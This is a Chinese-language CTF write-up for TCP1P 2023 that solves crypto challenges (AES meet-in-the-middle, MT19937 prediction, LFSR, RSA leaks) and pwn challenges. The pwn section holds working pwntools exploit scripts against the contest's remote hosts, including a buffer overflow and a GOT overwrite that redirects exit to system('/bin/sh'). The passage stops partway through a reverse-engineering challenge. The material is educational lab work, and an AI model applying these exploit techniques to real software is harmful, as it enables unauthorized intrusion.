[TCP1P 2023] 部分crypto,pwn,reverse

Crypto

Final Consensus

这是个AES爆破密钥的题,加密方法是先后用两个密钥加密。远程先给出加密后的flag,然后允许输入值并进行加密。

from Crypto.Cipher import AES
import random
from Crypto.Util.Padding import pad

a = b""
b = b""
FLAG = b"TCP1P{REDACTED}"

def generateKey():
	global a, b
	a = (str(random.randint(0, 999999)).zfill(6)*4)[:16].encode()
	b = (str(random.randint(0, 999999)).zfill(6)*4)[:16].encode()

def encrypt(plaintext, a, b):
	cipher = AES.new(a, mode=AES.MODE_ECB)
	ct = cipher.encrypt(pad(plaintext, 16))
	cipher = AES.new(b, mode=AES.MODE_ECB)
	ct = cipher.encrypt(ct)
	return ct.hex()

def main():
	generateKey()
	print("Alice: My message", encrypt(FLAG, a, b))
	print("Alice: Now give me yours!")
	plain = input(">> ")
	print("Steve: ", encrypt(plain.encode(), a, b))
	print("Alice: Agree.")


if __name__ == '__main__':
	main()

漏洞在于两个密钥都很小。不过同时爆破两个也不可能。所以用到中间人攻击。先用爆破密钥a生成字典,再反向爆破b在a的字典里查询。

'''
┌──(kali㉿kali)-[~/ctf/lx/ezfmt]
└─$ nc ctf.tcp1p.com 35257
Alice: My message ad39b5f6d4071def39e5586024b4da6c82742ab83bcb772ddb39ffddaa5715e9d91982a06c343c9abb7350a30f54779e42e58d2d24de74e6c0e55329212c108427a1442d495a70647c92fed28c4f133c
Alice: Now give me yours!
>> 0000000000000000
Steve:  d170d66ff056f53944010a9b10e34b0585d521591b779f7cee054eae530682ff
Alice: Agree.
'''

from Crypto.Cipher import AES
import random
from Crypto.Util.Padding import pad

def encrypt(plaintext, a, b):
    cipher = AES.new(a, mode=AES.MODE_ECB)
    ct = cipher.encrypt(pad(plaintext, 16))
    cipher = AES.new(b, mode=AES.MODE_ECB)
    ct = cipher.encrypt(ct)
    return ct.hex()

c = 'd170d66ff056f53944010a9b10e34b0585d521591b779f7cee054eae530682ff'[:32]

cs = {}
for a in range(1000000):
    a = (str(a).zfill(6)*4)[:16].encode()
    c1 = AES.new(a, mode=AES.MODE_ECB)
    cs[c1.encrypt(b'0'*16)] = a 

print(len(cs))
for b in range(1000000):
    b = (str(b).zfill(6)*4)[:16].encode()
    c2 = AES.new(b, mode=AES.MODE_ECB)
    ct2 = c2.decrypt(bytes.fromhex(c))
    if ct2 in cs:
        print(cs[ct2],b)

a,b = b'7447427447427447', b'4402124402124402'

ct = bytes.fromhex('ad39b5f6d4071def39e5586024b4da6c82742ab83bcb772ddb39ffddaa5715e9d91982a06c343c9abb7350a30f54779e42e58d2d24de74e6c0e55329212c108427a1442d495a70647c92fed28c4f133c')
def decrypt(plaintext, a, b):
    cipher = AES.new(b, mode=AES.MODE_ECB)
    ct = cipher.decrypt(pad(plaintext, 16))
    cipher = AES.new(a, mode=AES.MODE_ECB)
    ct = cipher.decrypt(ct)
    print(ct)

decrypt(ct,a,b)
#TCP1P{nothing_ever_lasts_forever_everybody_wants_to_rule_the_world}

One Pad Time

 第2个AES题,用随机生成的key和iv加密flag,然后将ct与key异或。最后给出iv和异或后的ct

import os
from pwn import xor
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

key = os.urandom(16)
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)

pt = open("flag.txt", "rb").read()
ct = pad(cipher.encrypt(pt), 16)
ct = xor(ct, key)
print(f"{iv = }")
print(f"{ct = }")

 这个漏洞在于pad,这个pad不是在加密前而是在加密后,当flag的长度恰好是16的倍数里最后一块会是:chr(16)*16,可以利用这个块异或密文可以得到key,从而进行解密

iv = b'\xf5\x8e\x85ye\xc8j(%\xc4K\xc1g#\x86\x1a'
ct = b'h\x08\xafmDV\xaa\xcd\xea\xe9C\xdd7/\x1fF\xe2?\xcb\xb0\x1d F\xcc\xe5\xa6\x9dTJ\\\xd1\x90\xac\xe0\x1c\x891}\x83*\x86\xee\xc4~\xa0\x18\xa8\x06\xea"{|\x0b\x92[\x9a[\x91\xc8\x19\xb7FK\x01\xb5\xf98\x80\x9bR)2\x84`\xb3E\t\xd5\xe5\xf0[\x83\xc6\x19\x82\r\x7f\xfaGF\xdb\xcb\xab\xd5~\x95\t\xdd\xb5E>F\xdd\xa9\xa6\x82\x86\xee"\x99\xd9\xcc\xaf\xce\xf0\'\xb3\xf4~\xcf\xdb\xc8\xbd3\x01\xd0,}]\xd5V\xd3?\xb0\xe7\xb4[4\x8a\xa2[\xa1TV\xd16\x1f\xbd"\xc8\xa2\\K\x16I%\xdaL\xc6\xfb\xb7f.\x98\xc3\xf4J\x1b\xe9TT\x83-\x98BO\xb4\x00~\xb5w\xcf7m\xa1\xea\xa9\xf6\xa6\xee\x00Y\xdfE\x9c7\xe3\xa3\xa2\x1f=.\x85\x08l\xacN\xfb2\x89\x8bB\x7f\x94\x91p\x10ep\x9b\x06oz\x87&U]J\x019\x12W\xce<\xc8\xa8\xb4v\xaf,\xb1n\x8b\xf5\xfe\xf8\r\xa7:r\xe8\xe0fvKN\\\xea\xe0\xa1\xe3\x99\xcc\xfd\x1a\x99Q\x90\xdf}\xae\xad'

#ct为16的整数倍,pad(16) 尾部为\x10*16
tail = ct[-16:]
key = xor(tail, b'\x10')

cipher = AES.new(key, AES.MODE_CBC, iv)
flag = cipher.decrypt(xor(ct,key))
#TCP1P{why_did_the_chicken_cross_the_road?To_ponder_the_meaning_of_life_on_the_other_side_only_to_realize_that_the_road_itself_was_an_arbitrary_construct_with_no_inherent_purpose_and_that_true_enlightenment_could_only_be_found_within_its_own_existence_1234}

Spider Shambles

这是个有python随机数预测题。远端有两个route,一个是把上传的文件与随机数异或,另一个是把flag图片与随机数异或。

import os
from flask import Flask, flash, request, redirect, render_template, send_file
import io
import random
from Crypto.Util.number import long_to_bytes as l2b

app=Flask(__name__, template_folder='./template')

app.secret_key = "OFCOURSETHISISNOTHEREALSECRETKEYBOI"
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024


ALLOWED_EXTENSIONS = set(['txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'])


def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


def xor(a, b):
    return b''.join([bytes([_a ^ _b]) for _a, _b in zip(a, b)])

def encropt(buff):
    rand = random.getrandbits(len(buff)*8)
    return xor(buff, l2b(rand))


@app.route('/', methods=['GET'])
def upload_form():
    return render_template('./upload.html')


@app.route('/', methods=['POST'])
def upload_file():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('No file part')
            return redirect(request.url)
        file = request.files['file']
        if file.filename == '':
            flash('No file selected for uploading')
            return redirect(request.url)
        if file and allowed_file(file.filename):
            buff = io.BytesIO()
            buff.write(encropt(file.read()))
            buff.seek(0)
            return send_file(
                buff,
                mimetype="text/plain",
                as_attachment=True,
                download_name='lalalalululu')
        else:
            flash('Allowed file types are txt, pdf, png, jpg, jpeg, gif')
            return redirect(request.url)

@app.route('/flago', methods=['GET'])
def send_flago():
    flago = open('./flago/flago.jpg', 'rb')
    buff = io.BytesIO()
    buff.write(encropt(flago.read()))
    buff.seek(0)
    return send_file(
        buff,
        mimetype="text/plain",
        as_attachment=True,
        download_name='babababububu')

if __name__ == "__main__":
    app.run(host = '0.0.0.0',port = 5000, debug = False)

两次只要相邻就可以,先生成个足够长的文件。624*32位,然后下载文件,用第1个文件生成取出随机数完成对第2个flag文件的恢复

#open('a.txt','wb').write(b'\x00'*624*4)

from pwn import xor 
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
from extend_mt19937_predictor import ExtendMT19937Predictor

a = open('lalalalululu','rb').read()
c = open('babababububu','rb').read()
predictor = ExtendMT19937Predictor()
#导入已知的624个数据,导入后指向尾部
predictor.setrandbits(b2l(a), 624*32)

def encropt(buff):
    rand = predictor.predict_getrandbits(len(buff)*8)
    return xor(buff, l2b(rand))

m = encropt(c)
open('flago.jpg', 'wb').write(m)


#TCP1P{life's_twisted_like_a_back_road_in_the_country}

shiftgner

一个LFSR的题,有点变化。

有生成签名,验证签名和得到加密后的flag

import os

flag = open('flag.txt','r').read()
assert flag.startswith('TCP1P{') and flag.endswith('}')
flag = flag[6:-1]
assert len(flag) == 32

class Shiftgner:
    def __init__(self, mask):
        self.mask = int.from_bytes(mask, byteorder='big')
    
    def next(self):
        c = self.state & self.mask
        x = 0
        while c:
            x ^= c & 1
            c >>= 1
        self.state = ((self.state << 1) ^ x) & 2**256-1
        return x
    
    def sign(self, msg):
        self.state = msg
        op  = self.next()
        for i in range(255):
            op <<= 1
            op ^= self.next()
        op ^= msg
        return hex(op)
    
    def verify(self, msg, sig):
        return self.sign(msg) == sig

mask = os.urandom(32)
signer = Shiftgner(mask)

while True:
    print('1. Sign')
    print('2. Verify')
    print('3. Get Flag')
    print('4. Exit')
    op = int(input('> '))
    if op == 1:
        msg = int(input('Message (hex): '), 16)
        print('Signature:', signer.sign(msg))
    elif op == 2:
        msg = int(input('Message (hex): '), 16)
        sig = input('Signature: ')
        if signer.verify(msg, sig):
            print('OK')
        else:
            print('Invalid')
    elif op == 3:
        print(signer.sign(int.from_bytes(flag.encode(), byteorder='big')))
    elif op == 4:
        exit()
    else:
        print('Invalid')

由于lfsr没有给mask所以要先爆破mask

当输入一个只有第n的值时与mask异或,如果mask第n位为0则第1次next后结果为1,经过256次next后他移到第0位,所以通过判断第0位可以得到1位的mask

class Shiftgner:
    def __init__(self, mask):
        self.mask = int.from_bytes(mask, byteorder='big')
    
    def next(self):
        c = self.state & self.mask
        x = 0
        while c:
            x ^= c & 1
            c >>= 1
        self.state = ((self.state << 1) ^ x) & 2**256-1
        return x
    
    def sign(self, msg):
        self.state = msg
        op  = self.next()
        for i in range(255):
            op <<= 1
            op ^= self.next()
        op ^= msg
        return hex(op)
    
    def verify(self, msg, sig):
        return self.sign(msg) == sig


def get_mask(idx):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Message (hex): ', hex(1<>255)&1 
    return bit 

def check_mask(msg,sig):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'Message (hex): ', hex(msg)[2:].encode())
    p.sendlineafter(b'Signature: ', sig.encode())
    if b'OK' in p.recvline():
        return True 
    else:
        return False

#爆破mask
from pwn import *
from Crypto.Util.number import long_to_bytes,bytes_to_long 

p = remote('ctf.tcp1p.com', 13342)

tmp_msg = 0x309c0b52a8b9120c17caea49009ade08bb656dcc1f7fc8ef0f8360e85b573fa6

p.sendlineafter(b'> ', b'3')
print(p.recvline())

smask = ''
for i in range(256):
    if get_mask(i):
        smask += '1'
    else:
        smask += '0'
    
    if i>253:
        context.log_level = 'debug'
        mask = long_to_bytes(int(smask[::-1],2))
        signer = Shiftgner(mask)
        tmp_enc = signer.sign(tmp_msg)
        if check_mask(tmp_msg, tmp_enc):
            break 

print(mask)

p.interactive()

然后得到密文进行处理。根据LFRS构造简单的矩阵M,乘256次幂

问题来了,他给的不是直接得到的密文,是密文与明文异或的结果

state * M^256 = enc^^state

由于按位的异或在GF(2)上等同于加所以这里可以推一下,然后就可以用矩阵求左了。

state*M^256 = enc + state => sate*M^256 + state = enc => state *(M^256+I) = enc 

from Crypto.Util.number import bytes_to_long, long_to_bytes
mask = b'\x02,#Vl\xad\xc6\xa0\xe1r\xb6\xf5\xe1\xc0<\x11\x86]\xb4N\xcd\xf4\xb9\xcf\xddW{,i\xa1-2'
enc  = 0xa5c0ce349da06456bea1d6cd58ae29fe497898dcc4c18a0960a4e0c2597abcf3

#state * M^256 = c ; c = enc ^^ state
#state * M^256 = enc + state => state*(M^256+I) = enc 
maskb = [int(i) for i in bin(bytes_to_long(mask))[2:].rjust(256, '0')] 
encb = [int(i) for i in bin(enc)[2:].rjust(256, '0')] 

encv = vector(GF(2), encb)
M = matrix(GF(2), 256,256)
for i in range(255):
    M[i+1,i] = 1 
for i in range(256):
    M[i,-1] = maskb[i]

M256 = M^256 
for i in range(256):
    M256[i,i] += 1

state = M256.solve_left(encb)
ss = ''.join([str(i) for i in state])
long_to_bytes(int(ss,2))
#b'well_not_safe_enough_apparently!'

Eclairs

 这是个小指数攻击题

route1给出pow(a,e,n),pow(b,e,n)并可以输入x得到椭圆曲线上的点P

route2给出随机数k和随机点P,需要输入k*P然后可以得到RSA加密后的flag

from Crypto.Util.number import getPrime, bytes_to_long
from sympy.ntheory.modular import crt
from libnum.ecc import *
import random
import time

while (p:=getPrime(256)) % 4 != 3: pass
while (q:=getPrime(256)) % 4 != 3: pass
e = 3
n = p*q
a = getPrime(256)
b = getPrime(256)
E = Curve(a, b, n)
flag = bytes_to_long(open("flag.txt", "rb").read())

def sqrt_mod(a):
    assert p % 4 == 3
    assert q % 4 == 3
    r = int(crt([p,q],[pow(a,(p+1)//4,p), pow(a,(q+1)//4,q)])[0])
    n = p*q
    if pow(r,2,n) == a % n:
        return r
    return False

def lift_x(x):
    y = sqrt_mod(x**3 + a*x + b)
    if y:
        return (x, y)
    return False


def find_coordinates(x):
    P = lift_x(x)
    if P:
        x,y = P
        return (pow(x,e,n), pow(y,e,n))
    return False

def captcha():
    while True:
        x = random.randint(1, n)
        P = lift_x(x)
        if P : break
    k = random.randint(1,n)
    print("HOLD UP!!!!")
    print("YOU ARE ABOUT TO DO SOMETHING VERY CONFIDENTIAL")
    print("WE NEED TO MAKE SURE THAT YOU ARE NOT A ROBOT")
    print(f"Calculate {k} X {P}")
    ans = input("Answer: ")
    return ans == str(E.power(P,k))
    

while True:
    print("1. Check out my cool curve")
    print("2. Get flag")
    print("3. Exit")
    choice = input(">> ")

    if choice == "1":
        print("This point is generated using the following parameter:")
        # encrypted because I don't want anyone to steal my cool curve >:(
        print(pow(a,e,n))
        print(pow(b,e,n))
        x = int(input("x: "))
        P = find_coordinates(x)
        if P:
            print(P)
        else:
            print("Not found :(")

    elif choice == "2":
        if captcha():
            print(pow(flag, e, n))
        else:
            print("GO AWAY!!!")
            exit()
    elif choice == "3":
        exit()
    else:
        print("??")
        exit()

 第1步是得到几个点,通过多点通过groebner基求参,然后得到kP拿到pow(flag,e,n)

from pwn import *
#from sage.all import *
from Crypto.Util.number import getPrime

io = remote('ctf.tcp1p.com', 13341)
context.log_level = 'debug'

while True:
  io.sendlineafter(b">> ", b'1')
  io.recvline()
  
  a3 = int(io.recvline())
  b3 = int(io.recvline())
  x = getPrime(172)
  io.sendlineafter(b"x: ", str(x).encode())
  p1 = io.recvline()
  if b'Not found' not in p1:
    break

x3,y3 = eval(p1)

io.sendlineafter(b">> ", b'2')
io.recvuntil(b"Calculate ")
ks,ps = io.recvline().decode().split(' X ')
k,ps = int(ks), eval(ps)

print('a3 = ', a3)
print('b3 = ', b3)
print('x  = ', x)
print('x3 = ', x3)
print('y3 = ', y3)
print('k = ', ks)
print('ps = ', ps)
print('''

P. = PolynomialRing(Zmod(x^3 - x3))
f1 = y3**2 - (x**3 + a*x + b)**3
f2 = a**3 - a3 
f3 = b**3 - b3 
F = [f1,f2,f3]

ideal = Ideal(F)
I = ideal.groebner_basis()
print(I)
# 求解参数a b n
res=[x.constant_coefficient() for x in I]
n = res[2]
a = -res[0]%n
b = -res[1]%n

E=EllipticCurve(Zmod(n),[a,b])
P = E(ps)
vv = str((k*P).xy())
print(vv)
''')



vv = input('>> ')
io.sendlineafter(b"Answer: ", vv.encode())
print(io.recvline())

io.interactive()

但是由于这里的n不能分解而且每个因子都是e的倍数,所以不能直接求d求解。

所以这里需要运行3次得到3组c,n然后通过crt再求解

f3 = [10214848419600246831204411547539742193707813055567247375021038647290724315016659616660536702996500513761107565676235103712959560533312159280239704791794925,3396605071922311846139395452288997433024781942346189910790944052301893968430215014289904153958067122829261905886478214418519271429601284233135621257964618,761237673974641516291589885468522351425564157626437289615389611558679935803922321917991872667343987358442284415608440848211692141410743644819475163258241]
n = [10827306454907668600102942320713698127633782031630218229451809487758431009675084908799293132704868105802645330911405420947841753386681060626958945819983153,5640375403375610044579756340430504833924414898126539274638537893039893254750588837263470550538549615353665314709455243822275945022123811639017611583317777,9581444265394380026197526005575551873068579451790843486976927778420460013670858606351862661812095383739259531098874637083082471478987773885695409384957361]
from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes
long_to_bytes(iroot(crt(f3,n),3)[0])
#b'TCP1P{yet_another_ecrsa_challenge_smh_my_head}'

CherryLeak

 一共3个菜单,

1是更换因子可以选择更换p或q,

2是pow(p+q,e,n)或p-q或pow(p//q,e,n)或p%q

3得到pow(flag,e,n)

from Crypto.Util.number import getPrime, bytes_to_long

p = getPrime(1024)
q = getPrime(512)
n = p * q
e = 65537

FLAG = b"TCP1P{???????????????????????????????????????}"

lock = False
while True:
    print("1. Get new prime")
    print("2. Get leak")
    print("3. Get flag")
    print("4. Exit")
    print("> ", end="")
    try:
        choice = int(input())
    except:
        break
    if choice == 1:
        if lock:
            print("You can't do that anymore!")
            continue
        print("which prime? (p/q)")
        print("> ", end="")
        prime = input()
        if prime == "p":
            p = getPrime(1024)
        elif prime == "q":
            q = getPrime(512)
        else:
            print("What?")
            continue
        n = p * q
        lock = True
    elif choice == 2:
        print("choose leak p ? q (+-*/%)")
        print("> ", end="")
        leak = input()
        if leak == "+":
            print(f"p + q = {pow(p + q, e, n)}") # nuh uh
        elif leak == "-":
            print(f"{p - q = }")
        elif leak == "*":
            print(f"p * q = {pow(p * q, e, n)}") # nuh uh
        elif leak == "/":
            print(f"p // q = {pow(p // q, e, n)}") # nuh uh
        elif leak == "%":
            print(f"{p % q = }")
        else:
            print("What?")
    elif choice == 3:
        print(f"c = {pow(bytes_to_long(FLAG), e, n)}")
        lock = True
    elif choice == 4:
        break
    else:
        print("What?")

这里没有给n所以pow的项基本都没用只有p-q和p%q有用。通过两次更换p得到两组p-q,p%q

p1-q = a1;p2-q=a2; p1%q = b1; p2%q = b2 
p1%q = b1 => (a1+q)%q = b1 => a1 - b1 = k1*q 
同理 a2-b2 = k2*q

所以有 gcd(a1-b1,a2-b2) == q 

然后猜flag很小不够512位,直接用q求解。当然这时候如果大的话就用p-q得到p再用n求解

a1 = 118706088974227518157101680027186674666863052281725325927297274164964302139731337841107407768851841545449624689187205116287815171368370612682872627416560148527259214298108640666822887975035465398738029963994364413364943599455933922801313625121544409844530893995801596056172346904433206927995247016759064476398
a2 = 100351615317445702152777964069743649398316212344162267495671594615569055290986135868626263523806430759891170534637574207955408234730596945183415870186173043369109401951133898271038937899799483714916470998534146162842383074553370989509167955524749120524690247454745041141487860434030140627355547358367468053348
b1 = 4314795467650780507560916399060478760618314523719619015061803791641365559151910235009915855099750842779686623768320324592460652847539030204752241436322958
b2 = 4791644667072068328755322354434990455138080676548441050438770559180497990442392529487882111217227208028008732173855940070706695343457703400581487284992319
'''
p1-q = a1;p2-q=a2; p1%q = b1; p2%q = b2 
p1%q = b1 => (a1+q)%q = b1 => a1 - b1 = k1*q 
同理 a2-b2 = k2*q
'''
q = gcd(a1-b1, a2-b2)

c = 169440822506346087750225114526740311477268001776493344763509930657373781878796338949268854077207461627691471962438795049472698199268203515665176148463051816183812000048162656457151448248775507398267111109027802942220858089591755527835080399986885463364652988782541810022030642988075275702530345128326508123508315731510268333168893081158203576004922211336014214517310663167783741576232446051470012829653525376038196226299471633664465371322016508015683415653380689
e = 65537
m = pow(c, invert(e, q-1),q)
long_to_bytes(m)
#b"TCP1P{in_life's_abundance_a_fragment_suffices}"

 PWN

babyheap

在free的时候没有清指针,有UAF,当get_flag时会重用这些堆块,然后通过show得到flag

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  while ( 1 )
  {
    switch ( (unsigned int)menu() )
    {
      case 1u:
        create();
        break;
      case 2u:
        delete();                               // UAF
        break;
      case 3u:
        view();
        break;
      case 4u:
        read_flag();
        break;
      case 5u:
        puts("[*] exiting...");
        exit(0);
      default:
        puts("[!] unknown choice");
        break;
    }
  }
}
add 1-5 112
free 1-5 
read_flag
show 1
TCP1P{k4mu_m4kan_ap4_1ni_k0q_un1qu3_s3k4li_yh_k4kung_chef_0ma1good_r3cyle???}

BlufferOverflow

这题给了原码

#include 
#include 

char buff[20];
int buff2;

void setup(){
	setvbuf(stdin, buff, _IONBF, 0);
	setvbuf(stdout, buff, _IONBF, 0);
	setvbuf(stderr, buff, _IONBF, 0);
}

void flag_handler(){
	FILE *f = fopen("flag.txt","r");
  	if (f == NULL) {
    	printf("Cannot find flag.txt!");
    	exit(0);
  }
}

void buffer(){
	buff2 = 0;
	printf("Can you get the exact value to print the flag?\n");
	printf("Input: ");
	fflush(stdout);
	gets(buff); 
	if (buff2 > 5134160) {
		printf("Too high!\n\n");
	} else if (buff2 == 5134160){
		printf("Congrats, You got the right value!\n");
	 	system("cat flag.txt");
	} else {
		printf("Sad, too low! :(, maybe you can add *more* value 0_0\n\n");
	}
	printf("\nOutput : %s, Value : %d \n", buff, buff2);
}

int main(){
	flag_handler();
	setup();
	buffer();
}

输入buff时覆盖到buff2得到flag

from pwn import *

#p = process('./pwn1')
p = remote('ctf.tcp1p.com', 17027)
context(arch='amd64', log_level='debug')

p.sendlineafter(b"Input: ", b'A'*20 + p32(5134160))

p.interactive()
#TCP1P{ez_buff3r_0verflow_l0c4l_v4r1abl3_38763f0c86da16fe14e062cd054d71ca}

unsafe safe

允许在输入一个地址然后给这个地址加一个值

#include 
#include 
#include 
#include 

unsigned long safes[100] = {7955998170729676800};
char *exit_message = "Have a nice day!";

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void deposit() {
    int index = 0;
    int amount = 0;
    puts("Enter the safe number you want to deposit in (0-100): ");
    scanf("%d", &index);
    puts("Enter the amount you want to deposit: ");
    scanf("%d", &amount);
    safes[index] += amount;
}

void login() {
    unsigned long age, input, password;
    char pet_name[5] = "\0\0\0\0\0";
    puts("Input your age: ");
    scanf("%lu", &age);
    if (age < 17) {
        puts("Sorry, this is not a place for kids");
        exit(0);
    }
    puts("Input your pet name: ");
    scanf("%5c", pet_name);
    srand(time(NULL) * (*(short *)pet_name * *(short *)(pet_name + 2) + age));
    password = rand();
    puts("Input your password: ");
    scanf("%lu", &input);
    if (input != password) {
        puts("Password Wrong!");
        exit(0);
    }
}

int main() {
    init();
    login();
    deposit();
    deposit();
    deposit();
    puts(exit_message);
}

由于种子是0可以得到password然后将got[exit]改为system把msg改为/bin/sh

from pwn import *

#p = process('./unsafe')
p = remote('ctf.tcp1p.com', 1477)
context(arch='amd64', log_level='debug')

#gdb.attach(p, "b*0x00005555555552bc\nc")
# -17*1 + 17
p.sendlineafter(b"Input your age: ", b'246')
p.sendafter(b"Input your pet name: ", p64(0x1ff)[:4])
p.sendlineafter(b"Input your password: ", str(0x6b8b4567).encode())

#2 safe+8 /sh  
#100 exit_message: 2008->4064
#-24 got.puts 6b00->d920
p.sendlineafter(b"Enter the safe number you want to deposit in (0-100): ", b'1')
p.sendlineafter(b"Enter the amount you want to deposit: \n", str(u32(b'/sh\x00')).encode())

p.sendlineafter(b"Enter the safe number you want to deposit in (0-100): ", b'100')
p.sendlineafter(b"Enter the amount you want to deposit: \n", str(0x205c).encode())

p.sendlineafter(b"Enter the safe number you want to deposit in (0-100): ", b'-12')
p.sendlineafter(b"Enter the amount you want to deposit: \n", str(-168416).encode())

p.sendline(b'cat flag*')
p.interactive()

REV

lock the lock

是一个可以正常反编译的python pyc文件,反过来就是个xor加密

a = '1101111100001010100101011100011010111000101110011010110011100111001101000000000000000000010000000011101100011110110101000110100001100011111110010010000000001111010001101010111011000011010001110110101101001011011011011101100111001111101001010010011001001101010111011100011110001100010100000100010110000110011100011001101000100101111000111000001101001011011110001111100110001101101111100100110011011001011111000001111100011100100110111000101000001110100000111010011110111101011011101100001011110111000011111111101001110110100100011111110011010110110110101010000001000011111010101111111111011001110110100110001011100100100000110010100000000111111111100010111101000011010010111100011100001010100101010010001100011111010110111111110101001010101011000110011010010110000001001110111100000110001010000010101001110000010000011101101111111000010011111000100001010010010111101010011100000100011101111010100010000010001011100010000000001110100111001101011001110100010000111010011000011010001001010000101100000100000101100110010100111001011111101110001110011010000011001100001110001100111010001001111110000111100011010001100100110111101111111000000111111111001010011010110000111001011010101101001101100110000101000111111011001110100110000011110101101001000001000110100000111001000111110010111110101000011110011000010011011111110101110101111000110110001011111111110101000110101000001110001111111100001000101000100100011110010101011010011110000011101010110011010011010000001111101100100100101001101110111100110111101010111010010100001011101101011111110001001010011001110000100011100100111000110011010110010010011010110010101000110101001110101010100101110111001101110110000000001101101000111000011000010000110100001001101111100111001001010100001011100101001100101110000111001010010100000110001110000011011100101001100101010011111110100010111100000101000110110010101010100000100110010111011101011011011001110111010001001100110110000011010010010000111110000110110010101100100010100110001010010000100001011001011001101010100100001001111110001101000010111101000010110000001010001101011111101100100111001000101110101100100001010101110100000110011110010011011000011001100111110011010100110100010001110101111000110101000111100100111100001000100001110001001000111000111001000111100010011101001010010101110100101111001100110000110100101100010000000101000101000111010111000101011001101010001101111010011111011110000111110001110011010010010111100010000110100100011010111000001011000111111111010010110111011000100110100110011111111000111000110011000101000110110001100000000001110000000110111101000011010010011001111010101001110110011100110111010110011101011101000011000000101000010011011111101001000011110110100000100111111000000010010110011011101110110101011100001010100011101101001101101100001000011110001010110001010001101100110101001001101011000000100011010100101110110111111110000000101101001010100001011001011010010000110010110111011000100011110010101000011110001111000101101010001101110101101011011111110100000001010000111100001111101111000111100011101010101010100101011100101001110010111000011010001010010101000110011000100111001001000000111110110111111101000000100111111101001110100110001110001011111011001101001011000111101000000000000101010110100000111100010111110011110011011000001011110010010000001001101101001111010000001010111111110101001000111000010111111001100110000000110111101000011001101111011110011110000001101001101000011100111001000101000110011101011000010110110110001101011000010011100001000111111110011000001000010111101000100010011001011110111011101100101000011101100011011010101000010110001001000100001110100110011101011011011011011101010010110110000011111001111100101100001110100000111011010111000110110011011110101110111011100110011001000111111111010001111100100101011111011010001101111110100110011000100110001001011111000111000011000000000111101011001010000110011101011100101101110110010001010001111100110100000111111111110111010100100000000101100011101111100001001010111000001001011011010001101010100100110100111011100101010010101001000100111001110110110101011000011011011110001111111000101010010111101101100010100110110111010010110000110100011000001100001000100011100110010100101101101000010001100101101100000001011011011101110110011000100001110010011000001101100001001010101101100000111101110000101101110110100010111101010111001001001010100100011101000010111111100101011111100101110111100001000001110101001101000000111101111100110011010100011100111111111000001110100111000001101001111111100001100000011111100110000110011011011111010111101010110111001100010010111010110010001010100001100010000000111101010100111111100100101000000110100100110001100101111001011001011111101011011100011111011000001001100110000111010110000100000000011001001000110010010110101111100001100011101101111110001010001010010100010100100110100000101111101010100101101101111011111111010000010101111011001100100110101100001101101110001001001010001010001000011110110101101111001000011110111101111100011001010010111100001111000100001101010000010001100000110000000001001001110011110111010001101000011011100101101000011001111001100100100110000011110100001111001011100111110000000110000000101110101011101010010111011000011011111000110000011010110111000001100001001011011011010100111101110101000001100000101111010001111100010000011100100100011101111110000000000010011101000000011010001100001100011011101100011001011110001111101000000100100100110001010001110001110011101000011010000000101000110110010011101001001010110111001110001101000011110100110101111001010001111011101111011111101011100001101100110111101110001001100000101111001010001100100100000100001100110010001111101011000010101001110001100011010101001000010010110001111001011101101011000010001111101001001101100110010101101100101001011100000000110000111001100100111110000010101011001101010101010100011110100111110101000110100110000110111010010111001001100010011001010010000011000010010011000101000010100000110011010010101000110011010001010101101110001010010101100001010101111001101111101110001101100101001011000000111011000000010001110100111110111101110111100101110110100110000011100100100011011001000110010010000010010111001010111000001010001011000111001100010101101000100000101000110111001000100110100101100011101010000010011101101001101010100010011011010000111100101010101001101010111010000101011001010100010110011111100101000000000001001111011101100111001001100001111001000000111001011000110001000111001010110101100000111000001100101010001100001010000011110011011001100010010110011011000011011101001101110110010111001010011011001000110011100010100111011001101010100111101111111001010010010100100000110001101011110011011101001001111100011111001100111101101100001000101100100101110010101101101001001000011001100011101110000110010101001111110011010010111010001110100101001110011110100011010111001111010010110100001011110110001100001100100010000111101000001101101000100110110110001001110011010100110110111001111101101111100110000011111110010000101001110111101011000001110100101101001011111100111110001110111110001000110100101000001110000001101100000100001000101010010000010100010100000110011100000111101111101100111100011110100111101011001011101110111111111011110000100000110001110011000010001001010011111010001000111111100101101001111100011011000010001101001010000111111000011101110000001000011110010000010110101001000001001111111011010110101100001100110010100000001010111100100001110100110110101111011000111011101000000110110110100100000110000101101111000101110101110100010001001100110010000011000100001111000111100000011110110001000111011110001100110000110111101011111101110110000111101110010000100011101010011101111001000011101101011110100000011001111000011010001111110100100110011111111111011000110101100111101101111000011001110100000111111000011101100111110001111010101001000111101100000101011000110111100100110000011100011111010100110101110001110100011101111011000000110101111000111000001110100100000001110000001010010101110111111010011110000100001010000000111111001111000000001111110000110011101000101110101101000111100110001010000101100011010100101100110101010001100111001011000100101101110010100011111110100100111100011100110000101100011111110100101110101100101100101000010001100010'

FLAG = [90, 19, 95, 37, 58, 144, 131, 222, 253, 162, 107, 96, 98, 128, 30, 
     113, 192, 236, 135, 239, 80, 106, 215, 100, 110, 197, 64, 
     210, 9, 74, 180, 240, 70, 87, 127, 17, 53, 115, 106, 178, 
     9, 250, 235, 99, 89, 195, 146, 89, 217, 74, 10, 133, 14, 
     82, 27, 70, 77, 111, 232, 144, 201, 98, 178, 88, 201, 190, 
     34, 135, 62, 24, 236, 102, 197, 158, 19, 0, 228, 252, 32, 
     128, 109, 157, 209, 104, 65, 104, 70, 49, 255, 14, 79, 133, 
     95, 195, 233, 45, 122, 200, 56, 207, 207, 225, 98, 23, 130, 
     91, 77, 37, 31, 242, 114, 187, 142, 40, 217, 238, 94, 83, 
     44, 191, 121, 249, 30, 241, 94, 121, 55, 243, 197, 136, 254, 
